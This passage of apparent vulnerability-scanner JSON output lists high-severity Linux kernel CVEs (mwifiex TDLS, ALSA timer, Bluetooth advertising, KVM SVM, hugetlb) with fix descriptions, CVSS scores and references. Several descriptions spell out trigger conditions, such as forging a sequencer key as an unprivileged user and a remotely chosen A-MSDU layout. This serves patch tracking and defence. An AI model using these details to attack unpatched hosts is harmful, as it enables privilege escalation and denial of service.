with\n\n\tif (!reuse_skb)\n\t\tdev_kfree_skb(skb);\n\nand it only sets reuse_skb when the parent is linear, is not a\nhead_frag, and is being consumed as the *last* subframe. So when the\nparent does not qualify for reuse it has already been freed, and the\nread of skb-\u003elen is a use-after-free. When it is reused, skb-\u003elen is\nthe length of the last subframe, applied to every earlier subframe,\nwhich over-states the buffer whenever an earlier subframe is shorter.\n\nThe callee cannot absorb a wrong length, because it derives its own\nceiling from the value it is given. Each frame type computes\n\n\ties_len = len - sizeof(struct ethhdr) - TDLS_*_FIX_LEN;\n\nand the element walk is then bounded entirely against that ceiling,\n\n\tfor (end = pos + ies_len; pos + 1 \u003c end; pos += 2 + pos[1]) {\n\t\tu8 ie_len = pos[1];\n\n\t\tif (pos + 2 + ie_len \u003e end)\n\t\t\tbreak;\n\nso a too-large len moves end past the end of the subframe and the walk\nreads and copies beyond it. The A-MSDU layout is chosen by the sender,\nwhich makes the difference between the last subframe and a shorter\nearlier one remotely selectable. Reaching this requires TDLS support in\nfirmware and the TDLS ethertype on the subframe.\n\nThe other caller, mwifiex_process_rx_packet(), is correct: it passes a\npointer and a length that describe the same region of the RX buffer.\n\nPass rx_skb-\u003elen, the length of the subframe actually being parsed.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74488", "https://git.kernel.org/linus/99a948382af8a225e2d5e54a7052158cd6281cc6%20%287.2-rc6%29", "https://git.kernel.org/stable/c/25e5a3fe4f15e30f74eca42cbf3bcc3a3fbeda79", "https://git.kernel.org/stable/c/3b02275833a0d3e6583627995d614fa99bdf364f", "https://git.kernel.org/stable/c/5a21ab03829cb6d2682c127f22e2b9cd63b4393f", "https://git.kernel.org/stable/c/707664027bb9307f7268eda403af7c4ccd9b8644", "https://git.kernel.org/stable/c/99a948382af8a225e2d5e54a7052158cd6281cc6", "https://git.kernel.org/stable/c/a1f0f7dc7eb15754e6931b433edb7beb754c996a", "https://git.kernel.org/stable/c/c9dcfe6b8b71369e1d732e2ff622c3696a2f032c", "https://git.kernel.org/stable/c/ece2ebb34247d573142617dfc534a9dc11ba59be", "https://linux.oracle.com/cve/CVE-2026-74488.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://lore.kernel.org/linux-cve-announce/2026081538-CVE-2026-74488-bf0e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74488", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74488" ], "PublishedDate": "2026-08-15T13:17:53.69Z", "LastModifiedDate": "2026-10-16T20:17:31.617Z" }, { "VulnerabilityID": "CVE-2026-74503", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74503", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca13cd23441ecafa6eac5c29a44d899993132d4fa9ba75434d6f21bbbedf31df", "Title": "kernel: ALSA: timer: Clear SNDRV_TIMER_IFLG_DEAD once the close completes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: timer: Clear SNDRV_TIMER_IFLG_DEAD once the close completes\n\nsnd_timer_close_locked() marks an instance with SNDRV_TIMER_IFLG_DEAD\nand returns early when the flag is already set, but the flag is never\ncleared again. A completed close ends in remove_slave_links(), which\nleaves timeri-\u003etimer NULL, so a second close is already harmless through\nthe timer == NULL path; the early return can only be reached by an\ninstance that was opened again in between. For such an instance the\nclose unlinks nothing, so snd_timer_instance_free() frees an object that\nis still on timer-\u003eopen_list_head, still on snd_timer_master_list if it\nwas opened with a slave key, still owns any adopted slaves, and still\nholds its timer and module references.\n\nsnd_seq_timer_open() reopens an instance exactly like that: it retries\nits fallback open on the same object after a failure that has already\nrun snd_timer_close_locked() internally. An unprivileged user with\naccess to /dev/snd/timer and /dev/snd/seq can force that failure, since\nsnd_timer_check_master() returns -EBUSY when a pending slave matches the\nnew master's (slave_class, slave_id) key and the target timer has\nreached max_instances, and SNDRV_TIMER_IOCTL_SELECT with dev_class =\nSNDRV_TIMER_CLASS_SLAVE keeps the caller-supplied dev_sclass, so a\nsequencer queue's key can be forged. The freed instance is afterwards\ndereferenced by any further snd_timer_open() on that timer, by\nsnd_timer_check_slave(), and by /proc/asound/timers, which faults on the\nstale ti-\u003eowner pointer.\n\nThe flag only has to be visible while the close is in progress, which is\nall its other users need. Clear it in remove_slave_links(), under the\nsame timer-\u003elock that sets it, once the instance is off every list.", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74503", "https://git.kernel.org/linus/c2744d5f3aea474513fd2298daecb94a952ce441%20%287.2-rc6%29", "https://git.kernel.org/stable/c/0c561fab50991df10b1e4daca25886c34a2a9c07", "https://git.kernel.org/stable/c/a26a2e52736f9e39843ca66a2e1ce6bf1adbcd1e", "https://git.kernel.org/stable/c/bb016091010ec401a06e6bdace0cd944ee03d371", "https://git.kernel.org/stable/c/c2744d5f3aea474513fd2298daecb94a952ce441", "https://linux.oracle.com/cve/CVE-2026-74503.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026081541-CVE-2026-74503-f1da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74503", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74503" ], "PublishedDate": "2026-08-15T13:17:55.31Z", "LastModifiedDate": "2026-10-16T20:17:32.927Z" }, { "VulnerabilityID": "CVE-2026-74509", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74509", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:92600121db304e92039b6feadaf142909bcbfff41be8f0e1e63db53bedf90df0", "Title": "kernel: Bluetooth: hci_sync: Fix advertising data UAFs", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: hci_sync: Fix advertising data UAFs\n\nhci_find_adv_instance() returns an adv_info pointer that is valid only\nwhile hdev-\u003elock is held. The advertising command-sync paths perform\ninstance lookups without that lock and, in some cases, retain the pointer\nwhile waiting for a controller response.\n\nAn advertising termination event can therefore interleave as follows:\n\n hci_cmd_sync_work hci_rx_work\n hci_find_adv_instance()\n __hci_cmd_sync_status()\n wait for controller reply hci_dev_lock()\n hci_remove_adv_instance()\n kfree(adv)\n adv-\u003escan_rsp_changed = false\n\nKASAN reported:\n\n BUG: KASAN: slab-use-after-free in hci_set_ext_scan_rsp_data_sync+0x2e1/0x300\n Write of size 1 at addr ffff88810a45d21d by task kworker/u17:0/88\n Workqueue: hci0 hci_cmd_sync_work\n Call Trace:\n hci_set_ext_scan_rsp_data_sync+0x2e1/0x300\n hci_schedule_adv_instance_sync+0x390/0x4c0\n hci_cmd_sync_work+0x173/0x300\n Allocated by task 87:\n hci_add_adv_instance+0x538/0xac0\n add_advertising+0x885/0x1160\n Freed by task 89:\n kfree+0x131/0x3c0\n hci_remove_adv_instance+0x1d8/0x3b0\n hci_le_ext_adv_term_evt+0x17b/0x730\n\nProtect the instance lookup and payload construction in the extended\nadvertising, scan response, and periodic advertising data paths. Snapshot\nthe advertising parameters under hdev-\u003elock, but release the lock before\nwaiting for the controller.\n\nClear advertising-data dirty bits before issuing their commands and\nrestore them after a failure using a fresh lookup. Likewise, update the\nreported transmit power through a fresh lookup after the parameter command\ncompletes. No adv_info pointer then survives an HCI command wait.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-74509", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/cdc36db204ffd97b947d64374cf23a210dc74777%20%287.2-rc6%29", "https://git.kernel.org/stable/c/565971488191bf54a87a417abafab6ad0de72201", "https://git.kernel.org/stable/c/95cdcd8c82a501931fd3ae9b3811b0b6da167e94", "https://git.kernel.org/stable/c/b16ebdbebd2d37f4cdc590bc3e9db71fe90350a3", "https://git.kernel.org/stable/c/c4cec575a6d6f7c36808a3a0017b0675968bb06b", "https://git.kernel.org/stable/c/cdc36db204ffd97b947d64374cf23a210dc74777", "https://git.kernel.org/stable/c/eb1d8318764de7216e6dbba29a24d69f7ce51348", "https://linux.oracle.com/cve/CVE-2026-74509.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://lore.kernel.org/linux-cve-announce/2026081542-CVE-2026-74509-eb82@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74509", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74509" ], "PublishedDate": "2026-08-15T13:17:55.95Z", "LastModifiedDate": "2026-10-16T20:17:33.55Z" }, { "VulnerabilityID": "CVE-2026-74516", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74516", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:079eed68c3ab74aa722f8e0680f057d6f875cc7f690a527b82c5a8009185c420", "Title": "kernel: KVM: SVM: Update x2APIC MSR intercepts if AVIC is inhibited while L2 is active", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Update x2APIC MSR intercepts if AVIC is inhibited while L2 is active\n\nAlways update x2APIC MSR intercepts for L1 when AVIC is deactivated, even\nif L2 is active and KVM is using a separate MSR bitmap to run L2. If AVIC\nis fully enabled prior to running L2, and is then inhibited while L2 is\nactive (for a VM-scoped inhibit), then KVM will run L1 with AVIC disabled,\nbut with x2APIC MSR intercepts disabled, i.e. will allow L1 to read most of\nthe host's APIC state, send arbitrary interrupts, change task priority, and\nultimately trivially DoS the host.\n\nE.g. sending a self-IPI in L1 on HYPERV_REENLIGHTENMENT_VECTOR, 0xee, with\nCONFIG_HYPERV=n in the host kernel as a \"safe\" PoC, yields:\n\n Spurious interrupt (vector 0xee) on CPU#425. Acked\n\nAnd hacking KVM to abuse kvm_set_posted_intr_wakeup_handler() to register a\nhandler and WARN on POSTED_INTR_WAKEUP_VECTOR yields:\n\n ------------[ cut here ]------------\n WARNING: arch/x86/kvm/svm/svm.c:5594 at pi_wakeup_handler+0x9/0x10 [kvm_amd], CPU#156: nested_x2apic_t/316940\n CPU: 156 UID: 0 PID: 316940 Comm: nested_x2apic_t Tainted: G S U\n Tainted: [S]=CPU_OUT_OF_SPEC, [U]=USER\n Hardware name: Google Astoria-Turin/astoria, BIOS 0.20260209.0-0 02/09/2026\n RIP: 0010:pi_wakeup_handler+0x9/0x10 [kvm_amd]\n Call Trace:\n \u003cIRQ\u003e\n sysvec_kvm_posted_intr_wakeup_ipi+0x64/0x80\n \u003c/IRQ\u003e\n \u003cTASK\u003e\n asm_sysvec_kvm_posted_intr_wakeup_ipi+0x1a/0x20\n RIP: 0010:vcpu_run+0x1430/0x1e40 [kvm]\n kvm_arch_vcpu_ioctl_run+0x2c1/0x600 [kvm]\n kvm_vcpu_ioctl+0x580/0x6b0 [kvm]\n __se_sys_ioctl+0x6d/0xb0\n do_syscall_64+0x10a/0x480\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n RIP: 0033:0x46ff4b\n \u003c/TASK\u003e\n ---[ end trace 0000000000000000 ]---", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74516", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/7d3aae206663c4e006b25a1c7a20a4029e67da76%20%287.2-rc6%29", "https://git.kernel.org/stable/c/4ca05385b3ddbd463be17c6d69ec76fca657081d", "https://git.kernel.org/stable/c/6664a5aea45318f4ec156a729949b474dd6e3159", "https://git.kernel.org/stable/c/7668c58dcf465559dc7a0d2e95e9cb79cf47454b", "https://git.kernel.org/stable/c/7d3aae206663c4e006b25a1c7a20a4029e67da76", "https://git.kernel.org/stable/c/89f9e8398e79c49886766fc24a84c37726231104", "https://git.kernel.org/stable/c/f12373625b4dc9bcc89c41872648878c73bb9272", "https://linux.oracle.com/cve/CVE-2026-74516.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081543-CVE-2026-74516-6af5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74516", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74516" ], "PublishedDate": "2026-08-15T13:17:56.737Z", "LastModifiedDate": "2026-10-16T20:17:34.16Z" }, { "VulnerabilityID": "CVE-2026-74518", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd209ffa79b7d0ef63c6e43a6271d9c94ab653f60eaea2a822474418e6761490", "Title": "kernel: mm/hugetlb: fix list corruption in allocate_file_region_entries()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/hugetlb: fix list corruption in allocate_file_region_entries()\n\nallocate_file_region_entries() tops up resv-\u003eregion_cache with freshly\nallocated file_region descriptors. The allocation uses GFP_KERNEL, so\nresv-\u003elock is dropped around it: the new entries are gathered on a\nstack-local list head, allocated_regions, and spliced into\nresv-\u003eregion_cache once the lock is re-acquired.\n\nThe splice used list_splice(), which moves the entries but does not\nre-initialize the source head, so allocated_regions is left pointing at an\nentry that now lives on resv-\u003eregion_cache. The top-up runs in a while\nloop that re-checks the cache deficit after re-acquiring the lock. For a\nshared mapping the resv_map is shared by every mapper of the hugetlbfs\ninode, so a concurrent region_chg()/region_add()/region_del() on the same\nresv_map can consume cache entries during the unlocked window and force a\nsecond iteration. That iteration calls list_add() on the stale head and\ncorrupts the list; with CONFIG_DEBUG_LIST the __list_add_valid() check\ntrips:\n\n list_add corruption. next-\u003eprev should be prev (ffffc900011ff7f8),\n but was ffff88814c281460. (next=ffff88814c545640).\n kernel BUG at lib/list_debug.c:31!\n allocate_file_region_entries+0x191/0x420\n region_chg+0x267/0x300\n hugetlb_reserve_pages+0x387/0xc80\n hugetlbfs_file_mmap+0x2ce/0x3f0\n mmap_region+0x1348/0x1a80\n do_mmap+0x85e/0xb90\n vm_mmap_pgoff+0x18c/0x330\n ksys_mmap_pgoff+0x2a1/0x3e0\n do_syscall_64+0xd7/0x420\n\nWithout CONFIG_DEBUG_LIST the bad list_add() silently links a kernel-stack\naddress into resv-\u003eregion_cache, leading to later use-after-free.\n\nThis was observed as a real host panic on a dense KVM host where a QEMU\nguest-RAM hugetlbfs file was mapped MAP_SHARED by both QEMU and a separate\nSPDK/DPDK vhost-user target, generating concurrent region_* traffic on one\nshared resv_map.\n\nUse list_splice_init() so the source head is re-initialized empty after\neach splice, making the retry loop safe.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70459", "https://access.redhat.com/security/cve/CVE-2026-74518", "https://bugzilla.redhat.com/2403545", "https://bugzilla.redhat.com/2481940", "https://bugzilla.redhat.com/2481948", "https://bugzilla.redhat.com/2492278", "https://bugzilla.redhat.com/2502218", "https://bugzilla.redhat.com/2513150", "https://bugzilla.redhat.com/2513212", "https://bugzilla.redhat.com/2513222", "https://bugzilla.redhat.com/2513232", "https://bugzilla.redhat.com/2513295", "https://bugzilla.redhat.com/2513453", "https://bugzilla.redhat.com/2516523", "https://bugzilla.redhat.com/2517004", "https://bugzilla.redhat.com/show_bug.cgi?id=2403545", "https://bugzilla.redhat.com/show_bug.cgi?id=2481940", "https://bugzilla.redhat.com/show_bug.cgi?id=2481948", "https://bugzilla.redhat.com/show_bug.cgi?id=2492278", "https://bugzilla.redhat.com/show_bug.cgi?id=2502218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513150", "https://bugzilla.redhat.com/show_bug.cgi?id=2513212", "https://bugzilla.redhat.com/show_bug.cgi?id=2513222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513232", "https://bugzilla.redhat.com/show_bug.cgi?id=2513295", "https://bugzilla.redhat.com/show_bug.cgi?id=2513453", "https://bugzilla.redhat.com/show_bug.cgi?id=2516523", "https://bugzilla.redhat.com/show_bug.cgi?id=2517004", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39964", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45959", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53062", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68155", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68188", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68293", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74518", "https://errata.almalinux.org/9/ALSA-2026-70459.html", "https://errata.rockylinux.org/RLSA-2026:70459", "https://git.kernel.org/linus/dd9623f58ec702a07b2d67179d6fcea79c52231a%20%287.2-rc6%29", "https://git.kernel.org/stable/c/01b8569233e47693d6ff7efa96d9854c55f936fc", "https://git.kernel.org/stable/c/126a70bf1a08ddc9d79c471ebdaa2b08cfbab8df", 